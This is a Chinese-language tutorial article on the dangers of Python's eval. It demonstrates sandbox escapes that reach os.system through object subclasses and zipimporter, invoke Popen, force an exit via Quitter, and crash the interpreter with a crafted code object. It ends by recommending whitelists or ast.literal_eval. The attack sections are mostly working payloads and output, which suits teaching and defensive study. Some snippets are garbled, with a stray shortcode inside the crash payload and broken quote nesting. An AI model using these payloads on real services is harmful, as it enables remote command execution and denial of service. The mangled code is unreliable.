0x00 前言
eval是Python用於執行python表示式的一個內建函式,使用eval,可以很方便的將字串動態執行。比如下列程式碼:
1 2 3 4 5 |
#!python >>> eval("1+2") 3 >>> eval("[x for x in range(10)]") [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] |
當記憶體中的內建模組含有os的話,eval同樣可以做到命令執行:
1 2 3 4 5 |
#!python >>> import os >>> eval("os.system('whoami')") win-20140812chjadministrator 0 |
當然,eval只能執行Python的表示式型別的程式碼,不能直接用它進行import操作,但exec可以。如果非要使用eval進行import,則使用__import__
:
1 2 3 4 5 6 7 8 9 10 11 12 |
#!python >>> exec('import os') >>> eval('import os') Traceback (most recent call last): File "", line 1, in File "", line 1 import os ^ SyntaxError: invalid syntax >>> eval("__import__('os').system('whoami')") win-20140812chjadministrator 0 |
在實際的程式碼中,往往有使用客戶端資料帶入eval中執行的需求。比如動態模組的引入,舉個栗子,一個線上爬蟲平臺上爬蟲可能有多個並且位於不同的模組中,伺服器端但往往只需要呼叫使用者在客戶端選擇的爬蟲型別,並通過後端的exec或者eval進行動態呼叫,後端編碼實現非常方便。但如果對使用者的請求處理不恰當,就會造成嚴重的安全漏洞。
0x01 “安全”使用eval
現在提倡最多的就是使用eval的後兩個引數來設定函式的白名單:
Eval函式的宣告為eval(expression[, globals[, locals]])
其中,第二三個引數分別指定能夠在eval中使用的函式等,如果不指定,預設為globals()和locals()函式中 包含的模組和函式。
1 2 3 4 5 6 7 8 9 10 11 12 |
#!python >>> import os >>> 'os' in globals() True >>> eval('os.system('whoami')') win-20140812chjadministrator 0 >>> eval('os.system('whoami')',{},{}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'os' is not defined |
如果指定只允許呼叫abs函式,可以使用下面的寫法:
1 2 3 4 5 6 7 8 9 10 11 |
#!python >>> eval('abs(-20)',{'abs':abs},{'abs':abs}) 20 >>> eval('os.system('whoami')',{'abs':abs},{'abs':abs}) Traceback (most recent call last): File "", line 1, in File "", line 1, in NameError: name 'os' is not defined >>> eval('os.system('whoami')') win-20140812chjadministrator 0 |
使用這種方法來防護,確實可以起到一定的作用,但是,這種處理方法可能會被繞過
,從而造成其他問題!
0x02 繞過執行程式碼1
被繞過的情景如下,小明知道了eval會帶來一定的安全風險,所以使用如下的手段去防止eval執行任意程式碼:
1 2 3 4 5 6 7 8 9 |
#!python env = {} env["locals"] = None env["globals"] = None env["__name__"] = None env["__file__"] = None env["__builtins__"] = None eval(users_str, env) |
Python中的__builtins__
是內建模組,用來設定內建函式的模組。比如熟悉的abs,open等內建函式,都是在該模組中以字典的方式儲存的,下面兩種寫法是等價的:
1 2 3 4 5 |
#!python >>> __builtins__.abs(-20) 20 >>> abs(-20) 20 |
我們也可以自定義內建函式,並像使用Python中的內建函式一樣使用它們:
1 2 3 4 5 6 |
#!python >>> def hello(): ... print 'shabi' >>> __builtin__.__dict__['say_hello'] = hello >>> say_hello() shabi |
小明將eval函式的作用域中的內建模組設定為None
,好像看起來很徹底了,但依然可以被繞過。__builtins__
是__builtin__
的一個引用,在__main__
模組下,兩者是等價的:
1 2 3 4 5 |
#!python >>> id(__builtins__) 3549136 >>> id(__builtin__) 3549136 |
根據烏雲drops提到的方法,使用如下程式碼即可:
1 2 |
#!python [x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname") |
上面的程式碼首先利用__class__
和__subclasses__
動態載入了object
物件,這是因為eval中無法直接使用object。然後使用object的子類的zipimporter對egg壓縮檔案中的configobj模組進行匯入,並呼叫其內建模組中的os模組從而實現命令執行,當然,前提是要有configobj的egg檔案。 configobj模組很有意思,居然內建了os模組:
1 2 3 4 5 6 7 8 9 10 11 12 |
#!python >>> "os" in configobj.__dict__ True >>> import urllib >>> "os" in urllib.__dict__ True >>> import urllib2 >>> "os" in urllib2.__dict__ True >>> configobj.os.system("whoami") win-20140812chjadministrator 0 |
和configobj類似的模組如urllib
,urllib2
,setuptools
等都有os的內建,理論上使用哪個都行。 如果無法下載egg壓縮檔案,可以下載帶有setup.py的資料夾,加入:
1 2 |
#!python from setuptools import setup, find_packages |
然後執行:
1 2 |
#!bash python setup.py bdist_egg |
就可以在dist資料夾中找到對應的egg檔案。 繞過demo如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
#!python >>> env = {} >>> env["locals"] = None >>> env["globals"] = None >>> env["__name__"] = None >>> env["__file__"] = None >>> env["__builtins__"] = None >>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')" >>> eval(users_str, env) win-20140812chjadministrator 0 >>> eval(users_str, {}, {}) win-20140812chjadministrator 0 |
0x03 拒絕服務攻擊1
object的子類中有很多有趣的東西,執行以下程式碼檢視:
1 2 |
#!python [x.__name__ for x in ().__class__.__bases__[0].__subclasses__()] |
這裡我就不輸出結果了,如果你執行的話,可以看到很多有趣的模組,比如file,zipimporter,Quitter等。經過測試,file的建構函式是被直譯器沙箱隔離的。 簡單的,或者直接使object暴露出的子類Quitter進行退出:
1 2 3 4 5 |
#!python >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Quitter'][0](0)()", {'__builtins__':None}) C:/> |
如果運氣好,遇到對方程式中匯入了os
等敏感模組,那麼Popen就可以用,並且繞過__builins__
為空的限制,栗子如下:
1 2 3 4 5 6 7 |
#!python >>> import subprocess >>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None}) >>> 正在 Ping 127.0.0.1 具有 32 位元組的資料: 來自 127.0.0.1 的回覆: 位元組=32 時間>> |
事實上,這種情況非常多,比如匯入os模組,一般用來處理路徑問題。所以說,遇到這種情況,完全可以列舉大量的功能函式,來探測目標object的子類中是否含有一些危險的函式可以直接使用。
0x04 拒絕服務攻擊2
同樣,我們甚至可以繞過__builtins__
為None,造成一次拒絕服務攻擊,Payload(來自老外blog)如下:
1 2 |
#!python >>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None}) |
執行上面的程式碼,Python直接crash掉了,造成拒絕服務攻擊。 原理是通過巢狀的lambda來構造一片程式碼段,即code物件。為這個code物件分配空的棧,並給出相應的程式碼字串,這裡是KABOOM
,在空棧上執行程式碼,會出現crash。構造完成後,呼叫fc函式即可觸發,其思路不可謂不淫蕩。
0x05 總結
從上面的內容我們可以看出,單單將內建模組置為空,是不夠的,最好的機制是構造白名單,如果覺得比較麻煩,可以使用ast.literal_eval
代替不安全的eval
。
參考資料:
- 【1】http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
- 【2】http://drops.wooyun.org/web/7490
- 【3】http://stackoverflow.com/questions/3513292/python-make-eval-safe